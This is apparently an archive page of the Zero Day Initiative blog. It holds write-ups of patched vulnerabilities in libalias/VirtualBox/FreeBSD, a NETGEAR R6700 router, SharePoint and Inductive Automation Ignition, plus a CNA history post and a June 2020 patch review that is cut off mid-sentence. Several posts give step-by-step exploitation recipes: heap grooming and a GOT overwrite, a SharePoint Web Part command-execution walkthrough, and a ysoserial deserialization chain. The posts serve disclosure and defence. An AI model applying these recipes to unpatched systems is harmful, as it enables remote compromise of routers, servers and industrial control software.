Zero Day Initiative Blog

  • CVE-2020-7454: Killing Two Birds with One Bug in libalias
    by Lucas Leong on June 30, 2020 at 4:40 pm

    At the beginning of February 2020, the ZDI received a submission detailing a bug in Oracle VirtualBox that could lead to an out-of-bounds access in the libalias packet aliasing library. It was reported to us by the researcher Vishnu Dev TJ and eventually assigned CVE-2020-7454 when patched. When analyzing the submission, I found the bug existed in FreeBSD as well. This blog covers CVE-2020-7454 on both VirtualBox and FreeBSD and shows how the maintenance of third-party or shared code can be a difficult task.For those not familiar, libalias is a library for the aliasing and de-aliasing of IP packets. It is also intended for masquerading and network address translation (NAT). With its masquerading and NAT features, it’s understandable why it would be used by VirtualBox for various functions. However, libalias originates from FreeBSD. VirtualBox maintains its own fork of the library. Unfortunately, this vulnerability is shared between the versions. It leads to an out-of-bounds (OOB) access in the FreeBSD kernel and user mode. The bug was addressed in VirtualBox 6.1.6 and FreeBSD-SA-20:12.Looking at Oracle VirtualBoxThe following analysis is based on VirtualBox 6.1.4. The root cause of the bug is in the AliasHandleUdpNbtNS() function, which is responsible for parsing the NetBIOS Name Service packet on UDP port 137. The relevant part is shown below in simplified form. At (1) in the code snippet above, uh_ulen is the UDP header length field, which is sent from the untrusted guest OS. The maximum possible value is 0xFFFF. By using a large uh_ulen value, an attacker can generate an overly large ‘pmaxvalue. Next, if the UDP packet contains Answer Resource Records and its type is specified as NetBIOS General Service, execution will reach theAliasHandleResourceNB()` function: At (2) in the code snippet above, the while loop attempts to look for the old address in the packet and replace it with the new address until pmax. Since pmax is a large value, an out-of-bounds read will occur at (3). Furthermore, it may also write OOB at (4) if the old address is found. An attacker on the guest OS can construct an invalid UDP header length to trigger the OOB access on the host OS. The UDP port 137 is open in the default configuration of VirtualBox. To address this bug, Oracle added a validation for the UDP header length shown at (1) in Snippet 1 above. Looking at FreeBSD 12.1 As mentioned above, the libalias library originates from FreeBSD. While analyzing the submission in Oracle VirtualBox, I discovered this bug also affects FreeBSD when using ipfw for NAT. The ipfw packet filter contains two different methods of accomplishing NAT: one in kernel and one in user space. Both implementations use the same functions provided by libalias. This means that the bug can be triggered either in the kernel or in the userland program (natd), depending on the NAT configuration. Here is the related configuration for FreeBSD 12.1 Release needed to trigger the bug in the kernel: The OOB access happens in alias_nbt.ko, which is a loaded kernel module. If the NAT configuration is based on userland, the OOB access happens in libalias_nbt.so in the context of the natd process. Both scenarios may be triggered remotely without authentication. During my analysis I found an additional surprise. The libalias library in FreeBSD contains another variant of the same bug within the handling of CuSeeMe protocol, which listens on UDP port 7648 by default. However, this bug does not exist in VirtualBox, which means the patch for FreeBSD is different than the one for VirtualBox. A validation is added in both the UdpAliasIn() and UdpAliasOut() functions, which is the appropriate level to handle UDP packets. It effectively patches any protocol that contains this kind of bug. ConclusionThis case study shows that the maintenance of third-party or shared code is a difficult task. Even if the source code is patched or updated, those changes must be made to the upstream products as well. And even when you are in sync with the third-party, a vulnerability in the shared code has twice the impact since it affects both products. Oracle VirtualBox is becoming more popular with user and security researchers alike. Thanks again to Vishnu Dev TJ for reporting this and other VirtualBox bugs. We look forward to seeing more from him in the future.Until then, you can find me on Twitter @_wmliang_, and follow the team for the latest in exploit techniques and security patches.

  • ZDI-20-709: Heap Overflow in the NETGEAR Nighthawk R6700 Router
    by Guest Blogger on June 25, 2020 at 3:17 pm

    Pwn2Own competitions often inspire people to research products and technologies, even if the researcher does not actively participate in the contest. Such is the case here, where the security researcher known as d4rkn3ss took a closer look at one of the routers that were eligible for Pwn2Own Tokyo 2019, the NETGEAR Nighthawk R6700v3. He reported four different bugs in this router, and we recently disclosed some details about the bugs as they were past their disclosure deadline date. He has graciously provided a full write up of one of these vulnerabilities, ZDI-20-709.At Pwn2Own Tokyo 2019, wireless routers were introduced as a new category. One of the routers targeted during the competition was the NETGEAR Nighthawk R6700v3. While I was not at the contest, it did inspire me to look at the device and see if I could find any vulnerabilities. In addition to what was found at the contest, I discovered a heap overflow vulnerability in the router that could allow malicious third parties to take control of the device from a local area network. In this post, I discuss the vulnerability in detail and provide a proof-of-concept exploit that should work out of the box against any router running firmware version V1.0.4.84_10.0.58. The vulnerability exists in the httpd service (/usr/bin/httpd) running on affected devices. Unauthenticated attackers can send a specially crafted HTTP request to the httpd web service when connecting to the local network, which could result in remote code execution on the target system. Successful exploitation of this vulnerability may result in the complete compromise of a vulnerable system. The heap overflow vulnerability exists in the file upload function processing an imported configuration file. Background First, I will talk briefly about the design of the handling of HTTP requests on the router. With regards to the design, the web service doesn’t listen directly on port 80. However, there is another process that acts as a proxy and does listen on port 80. This process is the NGINX proxy. I haven’t gone deep into it yet, so I’m not sure if it’s a version of the NGINX web server in common use. I will explain more details about its function below. Next, when an HTTP request reaches the httpd service, the main processing function is sub_159E8(). The execution flow of this function is as follows: Figure 1 – Execution flow of sub_159E8 function To begin, the program reads the HTTP request from the socket. It then performs a check to determine if the HTTP request is in the form of a file upload request. If this check returns false, the sub_10DC4 function gets called. This function is in charge of parsing HTTP requests, performing authentication, dispatching requests, and so on. Conversely, if the HTTP request is in the form of a file upload request, the code part shown as X will be executed. We see that sub_10DC4 is the main function for handling requests. The code part X is outside that function, so that is an area that should interest us. The vulnerability I will present in this blog is found there. The Vulnerability As mentioned above, the vulnerability is triggered by an upload over HTTP. Upload requests are handled by the endpoint /backup.cgi. During my testing of this functionality, I found two separate issues affecting this endpoint. The first involves missing authentication checks. An attacker can upload a new configuration file without authenticating. Nevertheless, we cannot replace the target’s credentials or change the setting of the target system, as there are authentication checks before applying the new configuration settings. The second issue is a classic heap overflow vulnerability within the file upload functionality. The vulnerable function copies the contents of the uploaded file into a heap-based buffer of attacker-controlled size. The following is pseudo-code of the vulnerable function: Figure 2 – Pseudo-code of the vulnerable function To control the size of the heap-based buffer, an attacker can make use of a Content-Length header, but it’s not straightforward. Let’s go a bit deeper and explain why.The HTTP Request to import a configuration file is as follows: Figure 3 – HTTP request to import a configuration file The HTTP request must satisfy several conditions. First, the URI must contain one of the following strings: backup.cgi, genierestore.cgi, or upgrade_check.cgi. Next, the request must be a multipart/form-data request with header name=”mtenRestoreCfg. Finally, the filename cannot be an empty string. However, according to the design, the HTTP request must go to an NGINX proxy before being passed to the httpd service. The policy_default.conf configuration file of the NGNIX proxy is as follows: Figure 4 – NGINX configuration Therefore, to bypass the NGINX proxy, I chose this URI: Figure 5 – URI to bypass proxy The processing of the file upload occurs in the sub_159E8 function. From here, the program extracts the Content-Length value from the header: Figure 6 – Content-Length extraction The above code snippet first locates the Content-Length header within the entire HTTP request by using the stristr function, and then extracts and converts the value of the header from string to an integer by a loop via a minimal implementation of the atoi function: Figure 7 – Loop to convert string to integer However, we cannot directly pass an arbitrary value to the Content-Length header because of the NGINX proxy. Besides filtering requests, the proxy also rewrites requests. It makes sure that Content-Length value equals the size of the post data, and it puts the Content-Length header in the first header of the request. Therefore, we can’t forge the Content-Length header in another header. However, the logic for the extraction of the Content-Length header is flawed. It performs the stristr function on the entire HTTP request instead of just the request headers! As such, it is possible to place a Content-Length header in the URI that will be interpreted by httpd service as follows: Figure 8 – URI to forge Content-Length value Since the request line appears before the HTTP headers, with the above URI, the string passed to code in Figure 7 is 111 HTTP/1.1. In this way, we can completely control the value of Content-Length and trigger the integer overflow vulnerability. By the way, one amusing thing about the atoi implementation in Figure 7 above is that it doesn’t stop when it hits non-numeric characters. Instead, it continues until it finds the newline sequence \r\n, parsing any other character it finds as if it were a decimal digit. To determine the numerical value of each character, the ASCII character code for the digit 0 is subtracted from the character’s code. This formula yields the expected values when parsing digits 0 through 9. When parsing non-digit characters, it produces invalid results. For example, when parsing the space character (ASCII 0x20), it calculates that its value as a digit is 0x20 – 0x30, or 0xfffffff0. Due to the invalid calculations, the string 111 HTTP/1.1 in the example above produces a final computed value of 0x896ebfe9! To exert control over this value, I used a brute force program that substitutes various Content-Length values and simulates the atoi loop until an appropriate value is found. The solution it produced was 4156559 HTTP/1.1, which evaluates to ffffffe9, which is a nice, reasonably sized negative value. Continuing down the code path: Figure 9 – Integer Overflow vulnerability First, the program compares the value of Content-Length with 0x20017 using an unsigned comparison. If the value is greater than 0x20017, the assembly code at address 0x17370 will be executed. Then, the value stored in dword_19A08 and dword_19A104 is equal to 0 because of the import configuration request. Next, the program checks the value of the pointer stored in dword_1A870C. If this value isn’t equal to zero, the memory held by this pointer will be freed. Then, the program allocates memory for storing the file content by calling malloc, passing the value of Content-Length plus 0x258. The result is stored in dword_1A870C. Because we can completely control the value of Content-Length, we can trigger an integer overflow vulnerability here by setting the Content-Length value to a negative number. Next, the program copies the entire file contents to the buffer allocated above. This results in a heap overflow vulnerability. Figure 10 – Heap Buffer Overflow Vulnerability Exploit Considerations Here are a few things to consider as we craft the exploit:         — We have a heap overflow vulnerability that allows us to write arbitrary data to heap memory, including null bytes.        — Because of the poor implementation of ASLR, heap memory is located at a constant address.        — uClibc is used in the system. This is a minimal libc version of glibc, so the malloc and free functions have simple implementations.        — After calling memcpy()and achieving a heap overflow, sub_21A58() will be called to return an error page. In sub_21A58(), fopen() is called to open a file. In fopen(), malloc() is called twice, with sizes 0x60 and 0x1000 respectively. Each of these allocations is freed afterwards. In summary, the sequence of memory allocations and frees will be as follows: Figure 11 – Sequence of memory allocation operations Additionally, we can send an Import String Table request to invoke another malloc and free in sub_95AF4(). This is the function used to calculate the checksum of the String Table Upload file. The pseudo-code is as follows: Figure 12 – Pseudo-code from sub_95AF4() The HTTP request to import the string table is as follows: Figure 13 – Import string table HTTP request Exploit Technique The heap buffer overflow gives us the ability to conduct a fastbin dup attack. “Fastbin dup” is a type of attack that corrupts the state of the heap so that a subsequent call to malloc returns a chosen address. Once malloc has returned a chosen address, we can write arbitrary data to that address (a write-what-where). Overwriting a GOT entry then yields remote code execution. In particular, we can overwrite the GOT entry for free(), redirecting it to system(), so that a buffer containing attacker-provided data will be executed by the shell. However, in our case, it’s not easy to conduct the fastbin dup attack. Recall that, with each request, an additional malloc(0x1000) call occurs. This produces a call to __malloc_consolidate() function, destroying the fastbin. As mentioned above, the system uses the uClibc library, so the free() and malloc() functions are quite different from glibc’s implementation. Here’s a look at the free() function: Figure 14 – Implementation of free() in uClibc At line 22, note the lack of a bounds check while accessing the fastbins array. This can lead to an out-of-bounds write to the fastbins array. Checking the malloc_state struct and the fastbin_index macro, both are defined in malloc.h: Figure 15 – malloc_state struct and fastbin_index macro definition The max_fast variable is located immediately before the fastbins array. Therefore, if we set the size of a chunk to be 8, then when this chunk is freed, fastbin_index(8) will return a value of -1 and max_fast will be overwritten by a large value (a pointer). Note that a chunk never has a size of 8 when the heap is functioning correctly. This is because the metadata that is part of a chunk takes up 8 bytes, so a size of 8 would imply that there are zero bytes of user data. Once max_fast has been changed to a large value, __malloc_consolidate() will no longer be called during malloc(0x1000). This allows us to proceed with the fastbin dup attack. In summary, the exploit process is as follows:       — Issue a request triggering the heap overflow vulnerability, overwriting the PREV_INUSE flag of a chunk so that it incorrectly indicates that the previous chunk is free.       — Due to the incorrect PREV_INUSE flag, we can get malloc() to return a chunk that overlaps an actual existing chunk. This lets us edit the size field in the existing chunk’s metadata, setting it to the invalid value of 8.       — When this chunk is freed and placed on the fastbin, malloc_stats->max_fast is overwritten by a large value.       — Once malloc_stats->max_fast has been changed, __malloc_consolidate() will no longer be called during calls to malloc(0x1000). This allows us to proceed with the fastbin attack.       — Trigger the heap overflow vulnerability again, overwriting the fd (forward) pointer of a free fastbin chunk with a chosen target address.       — A subsequent call to malloc() will return our chosen target address. We can use this to write the chosen data to the target address.       — Use this write-what-where primitive to write to address free_got_addr. The data we write there is system_plt_addr.       — Finally, when freeing a buffer containing an attacker-supplied string, system() is called instead of free(), producing remote code execution. The layout of heap memory and step-by-step exploitation process are in the PoC file below. ConclusionAs of the publication of this blog, the vendor has stated, “NETGEAR plans to release firmware updates that fix these vulnerabilities for all affected products that are within the security support period.” They do have a hotfix in beta that can be downloaded from here. This has not been tested to see if it sufficiently addresses the root cause of this vulnerability. The ZDI published its advisory on June 15. In their disclosure, they note, “Given the nature of the vulnerability, the only salient mitigation strategy is to restrict interaction with the service to trusted machines. Only the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it. This could be accomplished in several ways, most notably with firewall rules/whitelisting.” Until the patch is available, this is the best advice to minimize risk while using this device.Thanks again to the security researcher known as d4rkn3ssor providing this great write-up. Hopefully, he will decide to participate in a future Pwn2Own event and submit more bugs. Until then, follow the team for the latest in exploit techniques and security patches.

  • Our CVE Story: Bringing our ZDI community to the CVE community
    by Shannon Sabens on June 22, 2020 at 6:18 pm

    At ZDI, we have benefitted greatly from working with the CVE program and becoming a CNA. While we aren’t one of the oldest CNAs, we do have a relationship with the CVE program going back many years. Our history with the program is surely different from that of many vendor CNAs, but I think we have largely shared in the same mutual benefits.ZDI, as a security research organization and a bug bounty program, was formed 15 years ago. We are one of the oldest bug bounties. As a research organization, we used to approach the CVE program independently and individually for the CVEs we needed assigned to track vulnerabilities that we had vetted and acquired. Once upon a time, we would write to a CVE Coordination email address to provide all the relevant information and to get a CVE. Later, to do this, just like many independent researchers today, we would write to the CVE Coordinators at ”Request a CVE ID.” We would provide the vulnerability type, the vendor or developer name, the affected product name, and the version information.Then, several years ago, ZDI approached the CVE program about becoming a CNA. At that time, they discussed it, but the bug bounties in general, were still a fairly new concept, and ZDI, as a bug bounty, did not fit the requirements for becoming a CNA. That said, we were very flattered and pleased when the CVE Board voted to make ZDI a “full-coverage source.” Perhaps, we can think of this period as a compromise or a transition phase. It meant that instead of me, as the ZDI PM, having to contact the CVE program and request a CVE ID for a report that did not already have a CVE ID or where the affected vendor was not a CNA, the program pro-actively looked at ZDI as a source and assigned CVEs to our fully vetted reports missing CVEs and issued them to ZDI directly. This was an effective step.Later, when the criteria for becoming a CNA was amended and it became permissible for the bug bounties and research organizations to potentially qualify to become CNAs, ZDI again approached the CVE program to inquire about becoming a CNA. This time it was agreed that ZDI could meet the current criteria. We studied up a little and we demonstrated that we could administer the assignments ourselves.As a CNA, you will provide a statement about your scope. What you, as a CNA, are providing CVEs for is your scope. At ZDI, we asked only that we administer for ourselves what the CVE program had been doing for ZDI as a “full-coverage source.” It means that where the vendor or CERT we reported a vulnerability to is not a CNA, we can assign a CVE to the vulnerability.  Specifically, our scope says exactly: “Products and projects covered by its bug bounty programs that are not in another CNA’s scope.”Likewise, ZDI assisted the PSIRT for our company’s products through the CNA on-boarding process. The TrendMicro PSIRT became a CNA too!The current requirements for becoming a CNA are quite accessible.- Have a public vulnerability disclosure policy- Have a public source for new vulnerability disclosures- Agree to the CVE Terms of UseAs a CNA we have gained a deeper understanding of CVE and become active members of a lively community with a shared commitment to CVE.  This has benefitted us as a research organization and has helped us to develop our staff.If you need CVE education for staff, there are .pdf and video materials available.We feel the biggest benefit is that we document the message associated with the CVE and we can attest to its transparency and accuracy. Our participation in CVE is a demonstration of our commitment to this.We sincerely hope that sharing our experience may benefit others who are considering becoming a CNA. If you have questions about the program, we are happy to share our experience or you can contact the fabulous professional team of CNA Coordinators with the CVE Program.Best Wishes,Shannon SabensSr. Program ManagerZDI ProgramTrend Micro       

  • CVE-2020-1181: SharePoint Remote Code Execution Through Web Parts
    by The ZDI Research Team on June 17, 2020 at 3:21 pm

    Last week, Microsoft released a patch to correct CVE-2020-1181 – a remote code execution bug in the supported versions of Microsoft SharePoint Server. This bug was reported to the ZDI program by an anonymous researcher and as is also known as ZDI-20-694. This blog takes a deeper look at the root cause of this vulnerability.Before this patch being made available, SharePoint Server allowed an authenticated user to execute arbitrary .NET code on the server in the context and permissions of the service account of the SharePoint Web Application. For an attack to succeed, the attacker should have Add and Customize Pages permissions on the SharePoint site. However, the default configuration of SharePoint allows authenticated users to create sites. When they do, the user will be the owner of this site and will have all the necessary permissions.High-Level Description of The VulnerabilityMicrosoft SharePoint Server allows users to create web pages, but to prevent abuse, it places strict limits on what components can appear on those pages. The SharePoint server treats its “own” pages and user-defined pages in different ways. SharePoint’s “own” pages are stored on the file system and are excluded from all restrictions. User pages are stored in a database and are subject to restrictions. Some of these restrictions include the inability to use code blocks or include files from the file system. They typically can use only allowed web controls from a predefined list.If a user creates a new page via upload, it will be restricted as usual. However, if the new page is instead created by going through the SharePoint web editor, it will be considered as “ghosted” and will be treated as a trusted source. This makes sense, because the SharePoint web editor places restrictions on what components can be added to a page, so the page can be run safely in unrestricted mode.The vulnerability occurs because one type of Web Part permitted by the editor is a type called WikiContentWebpart, and this Web Part allows inclusion of arbitrary ASP.NET markup. This provides a route for an attacker to have arbitrary ASP.NET markup run in unrestricted mode, leading to remote code execution. Examining the Vulnerable Code SharePoint uses SPPageParserFilter to block all dangerous content. Let’s review how SPPageParserFilter is initialized: If we created our page by using the SharePoint Web Editor, it will have IsGhosted = true and _isAppWeb will be set to false. Note that there is an additional check to ensure there is no dependency file with a lower trust level: However, we have not added any such file, so we should be good here and pass this check. As a result, GetEffectivePageParserSettings() will return PageParserSettings.GhostedPageDefaultSettings: As a result, our page will have compilationmode=Always, allowServerSideScript=true and allowUnsafeControls=true. Now let’s take a closer look at WikiContentWebpart: This means content from its parameters (Directive and Content) will be parsed by ParseControl(text2, false). The second parameter (false) will force the use of PageParserFilter, but it will be used with PageParserSettings.GhostedPageDefaultSettings. Because the ParseControl() method never causes compilation, we cannot specify .NET code directly. However, we can use dangerous controls from within SharePoint to invoke arbitrary methods and get code execution. Here’s an example of a configuration of WikiContentWebpart that will run an arbitrary OS command:Proof-of-Concept For our demonstration, we used a Microsoft SharePoint 2019 Server with all default options installed on a Windows Server 2019 Datacenter edition system. We assigned it the name sp2019.contoso.lab and made it a member of the contoso.lab domain. Our domain controller is on a separate virtual machine. Our target machine had all available patches installed as of February 2020, which puts it at version 16.0.10355.20000. Our attacker system simply needs any supported web browser. In the screenshots below, we’re using Mozilla Firefox 69.0.3. We’ll also use a custom WikiContentWebpart similar to the example above. We have named ours WikiContentRCE.xml . Let’s visit our SharePoint Server and authenticate as a regular user. In this example, it is user2 : Let’s create a site so that we will be the owner and have full permissions. Click on “SharePoint” on the top panel: Click on the “+ Create site” link: Choose Team Site. Now we need to pick a name for the new site. In this example, it is testsiteofuser2. Click “Finish” and the new site will be created: Now let’s click on the “Pages” link: We need to switch to Classic View. To do this, just click on the “Return to classic SharePoint” link on the bottom left corner:  Click on “+ New” and choose any name for our new page. In this example, we called it newpage1: Click on the Create button to confirm.  Now we need to choose Web Part on the INSERT tab: In the dialog window, select the “Upload Web Part” link on the bottom left corner and upload the crafted WikiContentRCE.xml file:  Click Upload. You may receive a pop-up warning stating, “This page is asking you to confirm that you want to leave – data you have entered may not be saved.” Just confirm by clicking on the “Leave Page” button. We then return to the main editing view: We need to choose the Web Part widget on the INSERT tab again. It will have our imported crafted Web Part:  Before we click on the Add button, let’s go to the target SharePoint server and open the C:\windows\temp folder: Notice there is no RCE_PoC.txt file. Now let’s go back to the attacker machine and add our imported Web Part to the page: Let’s check the C:\windows\temp folder on our target server again: In this way, our attacker can execute any OS command and compromise the server. They just need to replace echo pwned > c:/windows/temp/RCE_PoC.txt string in WikiContentRCE.xml file with their desired command. ConclusionIn their patch documentation, Microsoft gave this vulnerability an Exploit Index (XI) rating of 2, which means they felt exploitation of this bug is unlikely. However, as demonstrated in our proof of concept section, the exploitation of this bug is quite straightforward for any authenticated user. Because of this, we recommend treating as an XI of 1, which indicates exploitation is likely. According to Microsoft, they addressed this bug by “correcting how Microsoft SharePoint Server handles processing of created content.” That does seem like a reasonable path to take in this instance. SharePoint continues to be an attractive target for researchers and attackers alike, and several SharePoint-related disclosures are currently in our Upcoming queue. Stay tuned to this blog for details about those bugs once they are disclosed.Until then, follow the team for the latest in exploit techniques and security patches.

  • A Trio of Bugs Used to Exploit Inductive Automation at Pwn2Own Miami
    by Guest Blogger on June 11, 2020 at 7:37 pm

    In January 2020, the inaugural Pwn2Own Miami contest was held at the S4 Conference and targeted Industrial Control System (ICS) products. At the contest, the team of Pedro Ribeiro and Radek Domanski used an information leak and an unsafe deserialization bug to get code execution on the Inductive Automation Ignition system. Their final effort ending Day One of the contest earned them $25,000. Now that patches are available from the vendor, they have graciously provided the following write-up and demonstration video.This post describes a chain of Java vulnerabilities that were found by Pedro Ribeiro (@pedrib1337) and Radek Domanski (@RabbitPro). These bugs were put to use in ZDI’s Pwn2Own Miami 2020 competition in January. The vulnerabilities described are present in the Inductive Automation Ignition SCADA product, versions 8.0.0 up to and including 8.0.7. The vulnerabilities were recently patched by the vendor, who recommends users upgrade to version 8.0.10. Here’s a quick video of these bugs in action:The default configuration of Ignition is exploitable by an unauthenticated attacker. Successful exploitation would achieve remote code execution as SYSTEM on Windows or root on Linux.The exploit chains three vulnerabilities to achieve code execution:1.     Unauthenticated access to a sensitive resource.2.     An insecure Java deserialization.3.     The use of an insecure Java library.All code snippets in this blog were obtained by decompiling JAR files from version 8.0.7.Vulnerability DetailsBefore we dig deep into the vulnerabilities, let’s cover some background information on Ignition and the /system/gateway endpoint. Ignition listens on a large number of TCP and UDP ports, as it has to handle several SCADA protocols in addition to its primary functionality. The main ports are TCP 8088 and TCP/TLS 8043, which are used to control the administrative server over HTTP(S) and handle communication between various Ignition components. Several API endpoints are listening on that port, but the one we’re concerned with is at /system/gateway. This API endpoint allows the user to perform remote function calls. Only a few can be called by an unauthenticated user. The Login.designer() function is one of them. It communicates with clients using XML containing serialized Java objects. Its code resides in the com.inductiveautomation.ignition.gateway.servlets.Gateway class. Usually, performing client-server communications with serialized Java objects can lead to direct code execution, but in this case, it is not that simple. Before we dive into that, let’s look at what a Login.designer() request looks like: And its response: The request and response contain serialized Java objects that are passed to functions that can be called remotely. The example above shows a call to the designer() function of the com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login class with four arguments. The call stack before we reach Login.designer() is as follows: com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login.designer() The Gateway.doPost() servlet performs some version and sanity checks then sends the request to AbstractGatewayFunction.invoke(), which parses and validates it before calling Login.designer(), as shown below:This function does the following: 1 – Parses the received message.2 – Identifies the function to be called.3 – Checks the function arguments to determine if they are safe to be deserialized.4 – Ensures the number of arguments corresponds to the expected number for the target function.5 – Calls the function with the deserialized arguments.6 – Sends the response back to the client. Before being deserialized, the arguments are checked to ensure they contain “safe” objects. This is done by calling decodeToObjectFragile() from com.inductiveautomation.ignition.common.Base64. This function takes two arguments: a String with a Base64 encoded object and an allowed list of classes that are safe to deserialize. As seen above, if decodeToObjectFragile() receives null instead of a list of allowed classes, it uses a “normal” ObjectInputStream to deserialize the object, with all the problems and insecurity it brings. However, if an allowed list is specified, decodeToObjectFragile uses the SaferObjectInputStream class instead to deserialize the object. The SaferObjectInputStream class is a wrapper around ObjectInputStream that checks the class of each object being deserialized. If the class is not part of the allowed list, it rejects all input and terminates processing before any harmful effects occur. Here’s how that looks: As it can be seen in the snippet above, the default allow list (DEFAULT_WHITELIST) is very strict. It only allows the following object types to be deserialized:       — String      — Byte      — Short      — Integer      — Long      — Number      — Float      — Double      — Boolean      — Date      — Color      — ArrayList      — HashMap      — Enum Since these are all very simple types, the mechanism described here is an effective way to stop most Java deserialization attacks. It is out of the scope of this blog to explain Java deserialization, how it happens, and how devastating it can be. If you’re interested in reading more about it, check out Java Unmarshaller Security or this Foxglove Security Blog Post. Now let’s get to the exploit chain we used at Pwn2Own. Vulnerability 1: Unauthenticated Access to Sensitive Resource The first vulnerability in this chain is an information leak, but not used as such in our exploit. An unauthenticated attacker can invoke the “project diff” functionality to obtain crucial information about a project. In our case, we used this as a springboard to attack other functionality. The com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload class contains a number of actions that are accessible by an unauthenticated remote attacker. One of them is getDiffs(), which is shown below: As seen above, this function compares the provided data with the project data in the server and returns a diff. If an attacker provides a valid project name, it is possible to trick the server into handing over all the project data. Again, this functionality is not used in the exploit. Instead, this function is used as a springboard to further attack the system, which will be further explained below. Vulnerability #2: Insecure Java Deserialization As it can be seen in Snippet 6, ProjectDownload.getDiffs() uses Base64.decodeToObjectFragile() function to decode project data. This function was already explained in Snippet 4. As we explained above, if no class allow list is provided in the second argument to the function, it uses the standard unsafe ObjectInputStream class to decode the given object. This leads to a classic Java deserialization vulnerability, which ultimately results in remote code execution when chained with the final vulnerability. Vulnerability #3: Use of Insecure Java LibraryThe final link in this chain is to abuse a Java class with vulnerable Java gadget objects that can be used to achieve remote code execution. Luckily for us, Ignition has exactly that. It uses a very old version of the Apache Commons Beanutils, version 1.9.2, which is from 2013.There is a payload for this library in the famous ysoserial Java deserialization exploitation tool, named CommonsBeanutils1.ExploitationTo summarize, to achieve remote code execution, we need to do the following: 1 – Create a ysoserial CommonsBeanutils1 payload.2 – Base64 encode the payload.3 – Encapsulate the payload in a Java String object.4 – Serialize the String object using the standard Java serialization functionality.5 – Base64 encode the serialized String object.6 – Send a request to /system/gateway invoking getDiffs() with the malicious parameters. We’re able to bypass the serialization whitelist and execute our code! But how? Let’s dig into it. Our payload will have the following format: base64(String(base64(YSOSERIAL_PAYLOAD)) The code shown in Snippet 3 will perform Base64 decoding on it, which will result in: String(base64(YSOSERIAL_PAYLOAD)) This is checked against the whitelist shown in the previous section and allowed to be deserialized since it’s a String class. We then go into ProjectDownload.getDiffs(). It takes our String argument and calls Base64.decodeToObjectFragile() on it without specifying a whitelist. As shown in Snippet 4, this will Base64 decode the String and then invoke ObjectInputStream.readObject() on our malicious object (YSOSERIAL_PAYLOAD), resulting in code execution! Payload Generation To create our payload, we start by calling ysoserial as shown below: Then the following Java code can be used to encapsulate a payload inside a String and serialize it to disk:In this code, <YSOSERIAL_BASE64_PAYLOAD> should contain the output of Snippet 7. Finally, we send the following request to the target: The <PAYLOAD> will contain the output of running Snippet 8. The target will respond with: The response contains a stack trace indicating something went wrong, but the payload was executed as SYSTEM (or root on Linux). With the payload provided in Snippet 7, a file will appear in C:\flashback.txt with the text nt authority\system. This shows we have achieved unauthenticated remote code execution. ConclusionWe hope you enjoyed this explanation of the exploit we used at Pwn2Own Miami. Inductive Automation fixed these bugs with the release of 8.0.10. This release contains many other fixes as well as new features. If you would like to test your own systems, we’ve released a Metasploit module for your convenience. You can see it in action in the video aboveThanks again to Pedro and Radek for providing this great write-up. Their contributions to Pwn2Own Miami helped make it a great event, and we certainly hope to see more submissions from them in the future. Until then, follow the team for the latest in exploit techniques and security patches.

  • The June 2020 Security Update Review
    by Dustin Childs on June 9, 2020 at 5:28 pm

    June is here, and it brings with it a record number of security patches from Microsoft, and a few from Adobe as well. Take a break from your regularly scheduled activities and join us as we review the details for security patches for this month.Adobe Patches for June 2020Adobe’s release for June is on the small side with three bulletins correcting 10 CVEs in Adobe Flash, Experience Manager, and Framemaker. Two of the Framemaker CVEs came through the ZDI program. The update for Flash corrects a single, Critical-rated use-after-free bug that could allow remote code execution. The update for Framemaker is also rated Critical. It corrects a single memory corruption and two Out-Of-Bounds write bugs. The update for Experience Manager is rated Important and addresses six different bugs. Most of these bugs fall into the cross-site scripting category while two are Server-side request forgery (SSRF) bugs. None of the bugs patched by Adobe this month are listed as publicly known or under active attack at the time of release.Update – June 16, 2020On June 16, Adobe published an additional six bulletins addressing 19 additional CVEs in Adobe Audition, Premiere Rush, Premiere Pro, Illustrator, After Affects, and Campaign Classic. Eleven of these bugs were reported by ZDI Security Researcher Mat Powell. The update for Campaign Classic is rated Important in severity, while all of the other updates are rated Critical. None of these bugs are listed as being publicly known or under active attack at the time of release. Adobe did not say why these patches came a week after the normally scheduled update release.Microsoft Patches for June 2020For June, Microsoft released patches for 129 CVEs covering Microsoft Windows, Internet Explorer (IE), Microsoft Edge (EdgeHTML-based and Chromium-based in IE Mode), ChakraCore, Office and Microsoft Office Services and Web Apps, Windows Defender, Microsoft Dynamics, Visual Studio, Azure DevOps, and Microsoft Apps for Android. This is the fourth month in a row that Microsoft has released patches for more than 110 CVEs, and this is the highest number of CVEs ever released by Microsoft in a single month. This brings the total number of Microsoft patches released this year to 616 – just 49 shy of the total number of CVEs they addressed in all of 2017.Of these 129 patches, 11 are rated Critical while 118 are rated Important in severity. Nine of these CVEs came through the ZDI program. None of the bugs being patched are listed by Microsoft as being publicly known or under active attack at the time of release. However, the ZDI did publish some details on CVE-2020-0915, CVE-2020-0916, and CVE-2020-0986 prior to today as they had exceeded our disclosure timeline.Let’s take a closer look at some of the more interesting updates for this month, starting with an all too familiar bug type:-       CVE-2020-1299 – LNK Remote Code Execution VulnerabilityThis is the third LNK bug fixed this year, and the description reads just like the previous bugs. An attacker could use this vulnerability to get code execution by having an affected system process a specially crafted .LNK file. These types of files are often put on a USB drive in an attempt to bridge an air-gapped network. If you’re interested in how these types of bugs work, you can check out this blog, which details one of the previous bugs.-       CVE-2020-1229 – Microsoft Outlook Security Feature Bypass VulnerabilityThis bug could allow attackers to automatically load remote images – even from within the Preview Pane. While this bypass alone could just disclose the IP address of a target system, it’s not unheard of to get code execution through the processing of specially crafted images (see any GDI+ bug). Patches are available for Windows-based versions of Office, but the patches for Office 2016 for Mac and Office 2019 for Mac are not yet available.-       CVE-2020-1300 – Windows Remote Code Execution VulnerabilityThis patch corrects a vulnerability in the processing of cabinet files. An attacker could get code execution by convincing a user to open a specially crafted CAB file. They could also spoof a network printer and dupe a user into installing the specially crafted CAB file disguised as a printer driver. Users are often conditioned into trusting printer drivers when offered one, so it would not be surprising to see this get exploited.-       CVE-2020-1281 – Windows OLE Remote Code Execution VulnerabilityThis bug allows an attacker to exploit code on a target system if they can convince a user to open a specially crafted file or program. Since this involves OLE data structures, multiple file types could be used by the attacker. Considering this impacts every supported version of Windows put this one near the top of your test and deploy list.Here’s the full list of 